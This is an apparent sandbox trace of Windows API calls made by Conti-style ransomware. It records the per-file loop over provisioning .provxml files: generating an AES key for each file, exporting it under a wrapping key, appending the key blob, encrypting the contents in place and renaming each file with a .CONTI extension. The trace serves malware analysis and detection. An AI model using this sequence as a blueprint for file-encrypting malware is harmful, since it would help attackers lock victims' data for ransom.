	[0112.058] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\476__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\476__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\476__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.CONTI"
	[0112.058] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\476__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\476__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\476__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\476__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml.conti")) returned 1
	[0112.059] GetProcessHeap () returned 0x1720000
	[0112.059] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0112.059] CryptDestroyKey (hKey=0x6b7f538) returned 1
	[0112.059] GetProcessHeap () returned 0x1720000
	[0112.059] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1809238 | out: hHeap=0x1720000) returned 1
	[0112.059] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x447fec0, lpCompletionKey=0x447fec4, lpOverlapped=0x447fed0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x447fec0, lpCompletionKey=0x447fec4, lpOverlapped=0x447fed0) returned 1
	[0112.059] CryptGenKey (in: hProv=0x1761368, Algid=0x6610, dwFlags=0x1, phKey=0x18100c8 | out: phKey=0x18100c8*=0x6b7f538) returned 1
	[0112.059] CryptExportKey (in: hKey=0x6b7f538, hExpKey=0x175ddb0, dwBlobType=0x1, dwFlags=0x0, pbData=0x18100cc, pdwDataLen=0x447fe94 | out: pbData=0x18100cc*, pdwDataLen=0x447fe94*=0x20c) returned 1
	[0112.060] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\479__Connections_Cellular_Vodafone UK (United Kingdom)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\479__connections_cellular_vodafone uk (united kingdom)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0112.060] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\479__Connections_Cellular_Vodafone UK (United Kingdom)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\479__connections_cellular_vodafone uk (united kingdom)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0112.061] GetLastError () returned 0x0
	[0112.061] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x447fe40 | out: lpFileSize=0x447fe40*=845) returned 1
	[0112.061] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x34d
	[0112.061] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x227, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.061] SetEndOfFile (hFile=0x320) returned 1
	[0112.061] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.061] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.061] WriteFile (in: hFile=0x320, lpBuffer=0x18100cc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x447fe4c, lpOverlapped=0x0 | out: lpBuffer=0x18100cc*, lpNumberOfBytesWritten=0x447fe4c*=0x20c, lpOverlapped=0x0) returned 1
	[0112.067] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.067] ReadFile (in: hFile=0x320, lpBuffer=0xbbf0000, nNumberOfBytesToRead=0x34d, lpNumberOfBytesRead=0x447fe6c, lpOverlapped=0x0 | out: lpBuffer=0xbbf0000*, lpNumberOfBytesRead=0x447fe6c*=0x34d, lpOverlapped=0x0) returned 1
	[0112.067] CryptEncrypt (in: hKey=0x6b7f538, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xbbf0000*, pdwDataLen=0x447fe64*=0x34d, dwBufLen=0x500000 | out: pbData=0xbbf0000*, pdwDataLen=0x447fe64*=0x350) returned 1
	[0112.067] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.067] WriteFile (in: hFile=0x320, lpBuffer=0xbbf0000*, nNumberOfBytesToWrite=0x350, lpNumberOfBytesWritten=0x447fe80, lpOverlapped=0x0 | out: lpBuffer=0xbbf0000*, lpNumberOfBytesWritten=0x447fe80*=0x350, lpOverlapped=0x0) returned 1
	[0112.067] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.067] WriteFile (in: hFile=0x320, lpBuffer=0x18100c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x447fe98, lpOverlapped=0x0 | out: lpBuffer=0x18100c0*, lpNumberOfBytesWritten=0x447fe98*=0x8, lpOverlapped=0x0) returned 1
	[0112.068] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.068] CloseHandle (hObject=0x320) returned 1
	[0112.068] GetProcessHeap () returned 0x1720000
	[0112.068] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0112.068] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\479__Connections_Cellular_Vodafone UK (United Kingdom)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\479__Connections_Cellular_Vodafone UK (United Kingdom)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\479__Connections_Cellular_Vodafone UK (United Kingdom)_i1$(__MVID)@WAP.provxml"
	[0112.068] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\479__Connections_Cellular_Vodafone UK (United Kingdom)_i1$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\479__Connections_Cellular_Vodafone UK (United Kingdom)_i1$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\479__Connections_Cellular_Vodafone UK (United Kingdom)_i1$(__MVID)@WAP.provxml.CONTI"
	[0112.068] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\479__Connections_Cellular_Vodafone UK (United Kingdom)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\479__connections_cellular_vodafone uk (united kingdom)_i1$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\479__Connections_Cellular_Vodafone UK (United Kingdom)_i1$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\479__connections_cellular_vodafone uk (united kingdom)_i1$(__mvid)@wap.provxml.conti")) returned 1
	[0112.069] GetProcessHeap () returned 0x1720000
	[0112.069] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0112.069] CryptDestroyKey (hKey=0x6b7f538) returned 1
	[0112.069] GetProcessHeap () returned 0x1720000
	[0112.069] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6575210 | out: hHeap=0x1720000) returned 1
	[0112.069] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x447fec0, lpCompletionKey=0x447fec4, lpOverlapped=0x447fed0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x447fec0, lpCompletionKey=0x447fec4, lpOverlapped=0x447fed0) returned 1
	[0112.069] CryptGenKey (in: hProv=0x1761368, Algid=0x6610, dwFlags=0x1, phKey=0x180f7a8 | out: phKey=0x180f7a8*=0x6b7f2b8) returned 1
	[0112.069] CryptExportKey (in: hKey=0x6b7f2b8, hExpKey=0x175ddb0, dwBlobType=0x1, dwFlags=0x0, pbData=0x180f7ac, pdwDataLen=0x447fe94 | out: pbData=0x180f7ac*, pdwDataLen=0x447fe94*=0x20c) returned 1
	[0112.070] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\480__Connections_Cellular_Vodafone UK (United Kingdom)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\480__connections_cellular_vodafone uk (united kingdom)_i2$(__mvid)@wap.provxml")) returned 0x20
	[0112.070] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\480__Connections_Cellular_Vodafone UK (United Kingdom)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\480__connections_cellular_vodafone uk (united kingdom)_i2$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0112.070] GetLastError () returned 0x0
	[0112.070] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x447fe40 | out: lpFileSize=0x447fe40*=857) returned 1
	[0112.070] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x359
	[0112.070] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x22b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.070] SetEndOfFile (hFile=0x320) returned 1
	[0112.070] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.070] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.070] WriteFile (in: hFile=0x320, lpBuffer=0x180f7ac*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x447fe4c, lpOverlapped=0x0 | out: lpBuffer=0x180f7ac*, lpNumberOfBytesWritten=0x447fe4c*=0x20c, lpOverlapped=0x0) returned 1
	[0112.077] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.077] ReadFile (in: hFile=0x320, lpBuffer=0xbbf0000, nNumberOfBytesToRead=0x359, lpNumberOfBytesRead=0x447fe6c, lpOverlapped=0x0 | out: lpBuffer=0xbbf0000*, lpNumberOfBytesRead=0x447fe6c*=0x359, lpOverlapped=0x0) returned 1
	[0112.077] CryptEncrypt (in: hKey=0x6b7f2b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xbbf0000*, pdwDataLen=0x447fe64*=0x359, dwBufLen=0x500000 | out: pbData=0xbbf0000*, pdwDataLen=0x447fe64*=0x360) returned 1
	[0112.077] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.077] WriteFile (in: hFile=0x320, lpBuffer=0xbbf0000*, nNumberOfBytesToWrite=0x360, lpNumberOfBytesWritten=0x447fe80, lpOverlapped=0x0 | out: lpBuffer=0xbbf0000*, lpNumberOfBytesWritten=0x447fe80*=0x360, lpOverlapped=0x0) returned 1
	[0112.077] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.077] WriteFile (in: hFile=0x320, lpBuffer=0x180f7a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x447fe98, lpOverlapped=0x0 | out: lpBuffer=0x180f7a0*, lpNumberOfBytesWritten=0x447fe98*=0x8, lpOverlapped=0x0) returned 1
	[0112.077] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.077] CloseHandle (hObject=0x320) returned 1
	[0112.077] GetProcessHeap () returned 0x1720000
	[0112.077] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0112.077] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\480__Connections_Cellular_Vodafone UK (United Kingdom)_i2$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\480__Connections_Cellular_Vodafone UK (United Kingdom)_i2$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\480__Connections_Cellular_Vodafone UK (United Kingdom)_i2$(__MVID)@WAP.provxml"
	[0112.077] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\480__Connections_Cellular_Vodafone UK (United Kingdom)_i2$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\480__Connections_Cellular_Vodafone UK (United Kingdom)_i2$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\480__Connections_Cellular_Vodafone UK (United Kingdom)_i2$(__MVID)@WAP.provxml.CONTI"
	[0112.078] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\480__Connections_Cellular_Vodafone UK (United Kingdom)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\480__connections_cellular_vodafone uk (united kingdom)_i2$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\480__Connections_Cellular_Vodafone UK (United Kingdom)_i2$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\480__connections_cellular_vodafone uk (united kingdom)_i2$(__mvid)@wap.provxml.conti")) returned 1
	[0112.078] GetProcessHeap () returned 0x1720000
	[0112.078] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0112.078] CryptDestroyKey (hKey=0x6b7f2b8) returned 1
	[0112.078] GetProcessHeap () returned 0x1720000
	[0112.078] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x18152b0 | out: hHeap=0x1720000) returned 1
	[0112.078] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x447fec0, lpCompletionKey=0x447fec4, lpOverlapped=0x447fed0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x447fec0, lpCompletionKey=0x447fec4, lpOverlapped=0x447fed0) returned 1
	[0112.078] CryptGenKey (in: hProv=0x1761368, Algid=0x6610, dwFlags=0x1, phKey=0x180f9f0 | out: phKey=0x180f9f0*=0x6b7f2b8) returned 1
	[0112.078] CryptExportKey (in: hKey=0x6b7f2b8, hExpKey=0x175ddb0, dwBlobType=0x1, dwFlags=0x0, pbData=0x180f9f4, pdwDataLen=0x447fe94 | out: pbData=0x180f9f4*, pdwDataLen=0x447fe94*=0x20c) returned 1
	[0112.079] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\482__Connections_Cellular_Vodafone UK (United Kingdom)_i4$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\482__connections_cellular_vodafone uk (united kingdom)_i4$(__mvid)@wap.provxml")) returned 0x20
	[0112.079] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\482__Connections_Cellular_Vodafone UK (United Kingdom)_i4$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\482__connections_cellular_vodafone uk (united kingdom)_i4$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0112.080] GetLastError () returned 0x0
	[0112.080] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x447fe40 | out: lpFileSize=0x447fe40*=860) returned 1
	[0112.080] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x35c
	[0112.080] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x228, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.080] SetEndOfFile (hFile=0x320) returned 1
	[0112.080] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.080] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.080] WriteFile (in: hFile=0x320, lpBuffer=0x180f9f4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x447fe4c, lpOverlapped=0x0 | out: lpBuffer=0x180f9f4*, lpNumberOfBytesWritten=0x447fe4c*=0x20c, lpOverlapped=0x0) returned 1
	[0112.086] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.086] ReadFile (in: hFile=0x320, lpBuffer=0xbbf0000, nNumberOfBytesToRead=0x35c, lpNumberOfBytesRead=0x447fe6c, lpOverlapped=0x0 | out: lpBuffer=0xbbf0000*, lpNumberOfBytesRead=0x447fe6c*=0x35c, lpOverlapped=0x0) returned 1
	[0112.086] CryptEncrypt (in: hKey=0x6b7f2b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xbbf0000*, pdwDataLen=0x447fe64*=0x35c, dwBufLen=0x500000 | out: pbData=0xbbf0000*, pdwDataLen=0x447fe64*=0x360) returned 1
	[0112.087] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.087] WriteFile (in: hFile=0x320, lpBuffer=0xbbf0000*, nNumberOfBytesToWrite=0x360, lpNumberOfBytesWritten=0x447fe80, lpOverlapped=0x0 | out: lpBuffer=0xbbf0000*, lpNumberOfBytesWritten=0x447fe80*=0x360, lpOverlapped=0x0) returned 1
	[0112.087] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.087] WriteFile (in: hFile=0x320, lpBuffer=0x180f9e8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x447fe98, lpOverlapped=0x0 | out: lpBuffer=0x180f9e8*, lpNumberOfBytesWritten=0x447fe98*=0x8, lpOverlapped=0x0) returned 1
	[0112.087] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.087] CloseHandle (hObject=0x320) returned 1
	[0112.087] GetProcessHeap () returned 0x1720000
	[0112.087] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0112.087] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\482__Connections_Cellular_Vodafone UK (United Kingdom)_i4$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\482__Connections_Cellular_Vodafone UK (United Kingdom)_i4$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\482__Connections_Cellular_Vodafone UK (United Kingdom)_i4$(__MVID)@WAP.provxml"
	[0112.087] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\482__Connections_Cellular_Vodafone UK (United Kingdom)_i4$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\482__Connections_Cellular_Vodafone UK (United Kingdom)_i4$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\482__Connections_Cellular_Vodafone UK (United Kingdom)_i4$(__MVID)@WAP.provxml.CONTI"
	[0112.087] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\482__Connections_Cellular_Vodafone UK (United Kingdom)_i4$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\482__connections_cellular_vodafone uk (united kingdom)_i4$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\482__Connections_Cellular_Vodafone UK (United Kingdom)_i4$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\482__connections_cellular_vodafone uk (united kingdom)_i4$(__mvid)@wap.provxml.conti")) returned 1
	[0112.088] GetProcessHeap () returned 0x1720000
	[0112.088] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0112.088] CryptDestroyKey (hKey=0x6b7f2b8) returned 1
	[0112.088] GetProcessHeap () returned 0x1720000
	[0112.088] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x18156e8 | out: hHeap=0x1720000) returned 1
	[0112.088] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x447fec0, lpCompletionKey=0x447fec4, lpOverlapped=0x447fed0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x447fec0, lpCompletionKey=0x447fec4, lpOverlapped=0x447fed0) returned 1
	[0112.088] CryptGenKey (in: hProv=0x1761368, Algid=0x6610, dwFlags=0x1, phKey=0x180dc48 | out: phKey=0x180dc48*=0x6b7f478) returned 1
	[0112.088] CryptExportKey (in: hKey=0x6b7f478, hExpKey=0x175ddb0, dwBlobType=0x1, dwFlags=0x0, pbData=0x180dc4c, pdwDataLen=0x447fe94 | out: pbData=0x180dc4c*, pdwDataLen=0x447fe94*=0x20c) returned 1
	[0112.089] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\484__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\484__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20
	[0112.090] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\484__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\484__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0112.090] GetLastError () returned 0x0
	[0112.090] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x447fe40 | out: lpFileSize=0x447fe40*=480) returned 1
	[0112.090] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1e0
	[0112.090] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.090] SetEndOfFile (hFile=0x320) returned 1
	[0112.094] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.095] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
